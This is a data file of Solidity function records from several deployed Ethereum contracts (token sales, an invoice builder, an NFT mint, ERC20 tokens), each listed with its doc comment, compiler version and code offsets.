* @dev Offer type contract
* @param _comission Comission handler addre... | function () payable {
// Condition check
if (msg.value != value
|| closeBlock != 0) throw;
// Store block when closed
closeBlock = block.number;
signer = msg.sender;
PaymentReceived();
}
| /**
* @dev Payment fallback function
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
1062,
1326
]
} | 8,835 | |||||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Builder | contract Builder is Mortal {
/**
* @dev this event emitted for every builded contract
*/
event Builded(address indexed client, address indexed instance);
/* Addresses builded contracts at sender */
mapping(address => address[]) public getContractsOf;
/**
* @dev Get last ... | /**
* @title Builder based contract
*/ | NatSpecMultiLine | getLastContract | function getLastContract() constant returns (address) {
var sender_contracts = getContractsOf[msg.sender];
return sender_contracts[sender_contracts.length - 1];
}
| /**
* @dev Get last address
* @return last address contract
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
376,
566
]
} | 8,836 | ||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Builder | contract Builder is Mortal {
/**
* @dev this event emitted for every builded contract
*/
event Builded(address indexed client, address indexed instance);
/* Addresses builded contracts at sender */
mapping(address => address[]) public getContractsOf;
/**
* @dev Get last ... | /**
* @title Builder based contract
*/ | NatSpecMultiLine | setBeneficiary | function setBeneficiary(address _beneficiary) onlyOwner
{ beneficiary = _beneficiary; }
| /**
* @dev Set beneficiary
* @param _beneficiary is address of beneficiary
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
737,
834
]
} | 8,837 | ||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Builder | contract Builder is Mortal {
/**
* @dev this event emitted for every builded contract
*/
event Builded(address indexed client, address indexed instance);
/* Addresses builded contracts at sender */
mapping(address => address[]) public getContractsOf;
/**
* @dev Get last ... | /**
* @title Builder based contract
*/ | NatSpecMultiLine | setCost | function setCost(uint _buildingCostWei) onlyOwner
{ buildingCostWei = _buildingCostWei; }
| /**
* @dev Set building cost
* @param _buildingCostWei is cost
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
988,
1087
]
} | 8,838 | ||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Builder | contract Builder is Mortal {
/**
* @dev this event emitted for every builded contract
*/
event Builded(address indexed client, address indexed instance);
/* Addresses builded contracts at sender */
mapping(address => address[]) public getContractsOf;
/**
* @dev Get last ... | /**
* @title Builder based contract
*/ | NatSpecMultiLine | setSecurityCheck | function setSecurityCheck(string _uri) onlyOwner
{ securityCheckURI = _uri; }
| /**
* @dev Set security check report URI
* @param _uri is an URI to report
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
1263,
1350
]
} | 8,839 | ||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | BuilderInvoice | contract BuilderInvoice is Builder {
/**
* @dev Run script creation contract
* @return address new contract
*/
function create(address _comission, string _description,
bytes32 _beneficiary, uint _value,
address _client) payable returns (address) {
... | /**
* @title BuilderInvoice contract
*/ | NatSpecMultiLine | create | function create(address _comission, string _description,
bytes32 _beneficiary, uint _value,
address _client) payable returns (address) {
if (buildingCostWei > 0 && beneficiary != 0) {
// Too low value
if (msg.value < buildingCostWei) throw;
// Beneficiar... | /**
* @dev Run script creation contract
* @return address new contract
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
135,
1171
]
} | 8,840 | ||
Crowdsale | Crowdsale.sol | 0x950ad688ade27bcaa6e890e9d86ba5a9293f4d8c | Solidity | Crowdsale | contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public amountRemaining;
uint public deadline;
uint public price;
token public tokenReward;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint t... | Crowdsale | function Crowdsale(
address ifSuccessfulSendTo,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = 5000 * 1 ether;
deadline = 1532361600;
price = 10 szabo;
tokenReward = token(addressOfTokenUsedAsReward);
}
| /**
* Constructor function
*
* Setup the owner
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://14dc1f9c3f3316d651d842f28051d4e8f2cd69f1b5c71064f9421423b5125774 | {
"func_code_index": [
496,
823
]
} | 8,841 | |||
Crowdsale | Crowdsale.sol | 0x950ad688ade27bcaa6e890e9d86ba5a9293f4d8c | Solidity | Crowdsale | contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public amountRemaining;
uint public deadline;
uint public price;
token public tokenReward;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint t... | function () payable public {
require(!crowdsaleClosed);
uint amount = msg.value;
amountRaised += amount;
amountRemaining+= amount;
tokenReward.transfer(msg.sender, amount / price);
emit FundTransfer(msg.sender, amount, true);
}
| /**
* Fallback function
*
* The function without name is the default function that is called whenever anyone sends funds to a contract
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://14dc1f9c3f3316d651d842f28051d4e8f2cd69f1b5c71064f9421423b5125774 | {
"func_code_index": [
993,
1283
]
} | 8,842 | ||||
Crowdsale | Crowdsale.sol | 0x950ad688ade27bcaa6e890e9d86ba5a9293f4d8c | Solidity | Crowdsale | contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public amountRemaining;
uint public deadline;
uint public price;
token public tokenReward;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint t... | checkGoalReached | function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
emit GoalReached(beneficiary, amountRaised);
}
else
{
tokenReward.transfer(beneficiary, (fundingGoal-amountRaised) / price);
}
crowdsaleClosed = true;
}
| /**
* Check if goal was reached
*
* Checks if the goal or time limit has been reached and ends the campaign
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://14dc1f9c3f3316d651d842f28051d4e8f2cd69f1b5c71064f9421423b5125774 | {
"func_code_index": [
1486,
1810
]
} | 8,843 | |||
Crowdsale | Crowdsale.sol | 0x950ad688ade27bcaa6e890e9d86ba5a9293f4d8c | Solidity | Crowdsale | contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public amountRemaining;
uint public deadline;
uint public price;
token public tokenReward;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint t... | safeWithdrawal | function safeWithdrawal() public afterDeadline {
if (beneficiary == msg.sender) {
if (beneficiary.send(amountRemaining)) {
amountRemaining =0;
emit FundTransfer(beneficiary, amountRemaining, false);
}
}
}
| /**
* Withdraw the funds
*
* Checks to see if goal or time limit has been reached, and if so, and the funding goal was reached,
* sends the entire amount to the beneficiary. If goal was not reached, each contributor can withdraw
* the amount they contributed.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://14dc1f9c3f3316d651d842f28051d4e8f2cd69f1b5c71064f9421423b5125774 | {
"func_code_index": [
2116,
2405
]
} | 8,844 | |||
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | Ownable | contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier o... | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | Ownable | function Ownable() {
owner = msg.sender;
}
| /**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
170,
223
]
} | 8,845 | |
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | Ownable | contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier o... | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | transferOwnership | function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
| /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
566,
697
]
} | 8,846 | |
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) {
... | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | transfer | function transfer(address _to, uint256 _value) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
| /**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
268,
474
]
} | 8,847 | |
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) {
... | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
| /**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
681,
790
]
} | 8,848 | |
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balance... | /**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
390,
860
]
} | 8,849 | |
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | approve | function approve(address _spender, uint256 _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issu... | /**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
1095,
1612
]
} | 8,850 | |
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | allowance | function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
| /**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
1933,
2071
]
} | 8,851 | |
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | ACFSale | contract ACFSale is Ownable{
uint public startTime = 1512064800; // unix ts in which the sale starts.
uint public endTime = 1517356800; // unix ts in which the sale end.
address public ACFWallet; // The address to hold the funds donated
uint public totalCollected = 0; // In... | setWhitelistStatus | function setWhitelistStatus(address addr, bool status)
onlyOwner {
whitelist[addr] = status;
Whitelisted(addr, status);
}
| // change whitelist status for a specific address | LineComment | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
1310,
1464
]
} | 8,852 | |||
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | ACFSale | contract ACFSale is Ownable{
uint public startTime = 1512064800; // unix ts in which the sale starts.
uint public endTime = 1517356800; // unix ts in which the sale end.
address public ACFWallet; // The address to hold the funds donated
uint public totalCollected = 0; // In... | getRate | function getRate() constant public returns (uint256) {
return 10;
}
| // Get the rate for a ACF token 1 ACF = 0.05 ETH -> 20 ACF = 1 ETH | LineComment | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
1539,
1625
]
} | 8,853 | |||
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | ACFSale | contract ACFSale is Ownable{
uint public startTime = 1512064800; // unix ts in which the sale starts.
uint public endTime = 1517356800; // unix ts in which the sale end.
address public ACFWallet; // The address to hold the funds donated
uint public totalCollected = 0; // In... | getTokensLeft | function getTokensLeft() public constant returns (uint) {
return token.balanceOf(this);
}
| /**
* Get the amount of unsold tokens allocated to this contract;
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
1716,
1824
]
} | 8,854 | |||
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | ACFSale | contract ACFSale is Ownable{
uint public startTime = 1512064800; // unix ts in which the sale starts.
uint public endTime = 1517356800; // unix ts in which the sale end.
address public ACFWallet; // The address to hold the funds donated
uint public totalCollected = 0; // In... | emergencyStopSale | function emergencyStopSale()
only_sale_not_stopped
onlyOwner
public {
saleStopped = true;
}
| // Function to stop sale for an emergency.
// Only ACF can do it after it has been activated. | LineComment | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
2858,
2983
]
} | 8,855 | |||
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | ACFSale | contract ACFSale is Ownable{
uint public startTime = 1512064800; // unix ts in which the sale starts.
uint public endTime = 1517356800; // unix ts in which the sale end.
address public ACFWallet; // The address to hold the funds donated
uint public totalCollected = 0; // In... | restartSale | function restartSale()
only_during_sale_period
only_sale_stopped
onlyOwner
public {
saleStopped = false;
}
| // Function to restart stopped sale.
// Only ACF can do it after it has been disabled and sale is ongoing. | LineComment | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
3106,
3251
]
} | 8,856 | |||
NFCHEESE | contracts/NFCHEESE.sol | 0xd5745fb5cfb5c3b36475042c3cf10e1689412987 | Solidity | NFCHEESE | contract NFCHEESE is Ownable, ERC721Enumerable, IMintableNft {
uint256 public constant maxMintCount = 150;
uint256 _mintedCount;
mapping(address => bool) public factories; // factories, that can mint tokens
string public baseURI;
string public secretMetaURI =
"ipfs://QmXwum8EBnxYuoxjEp... | mint | function mint(address toAddress) external override {
require(factories[msg.sender], "only for factories");
require(_mintedCount < maxMintCount, "all tokens are minted");
require(mintEnable, "mint is not enabled");
_mint(toAddress, ++_mintedCount);
}
| /// @dev mint item (only for factories)
/// @param toAddress receiving address | NatSpecSingleLine | v0.8.7+commit.e28d00a7 | None | ipfs://9c3be4b6e1ac213315077c1749f654b5ed346da1bdd5fa283fdf0e966243212a | {
"func_code_index": [
650,
945
]
} | 8,857 | ||
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 l... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | totalSupply | function totalSupply() public override view returns (uint256){
return _totalSupply;
}
| /** ERC20Interface function's implementation **/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
1077,
1180
]
} | 8,858 |
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 l... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | balanceOf | function balanceOf(address tokenOwner) public override view returns (uint256 balance) {
return balances[tokenOwner];
}
| // ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------ | LineComment | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
1400,
1537
]
} | 8,859 |
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 l... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transfer | function transfer(address to, uint256 tokens) public override returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[msg.sender] >= tokens );
require(balances[to] + tokens >= balances[to]);
if (lockedTokens[msg.sender].tokens... | // ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------ | LineComment | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
1881,
2763
]
} | 8,860 |
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 l... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | approve | function approve(address spender, uint256 tokens) public override returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------ | LineComment | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
3724,
3946
]
} | 8,861 |
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 l... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transferFrom | function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
if (lockedTokens[from].tokens > 0){
check_time(from);
}
require(balances[... | // ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer... | LineComment | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
4482,
5341
]
} | 8,862 |
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 l... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | allowance | function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
| // ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------ | LineComment | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
5624,
5788
]
} | 8,863 |
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 l... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | onePercent | function onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
| // ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------ | LineComment | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
6014,
6259
]
} | 8,864 |
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 l... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | burnTokens | function burnTokens(uint256 value) internal{
require(_totalSupply >= value); // burn only unsold tokens
_totalSupply = _totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
| // ------------------------------------------------------------------------
// Burn the ``value` amount of tokens from the `account`
// ------------------------------------------------------------------------ | LineComment | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
6490,
6718
]
} | 8,865 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level prog... | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
251,
437
]
} | 8,866 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level prog... | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
707,
848
]
} | 8,867 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level prog... | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
1180,
1377
]
} | 8,868 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
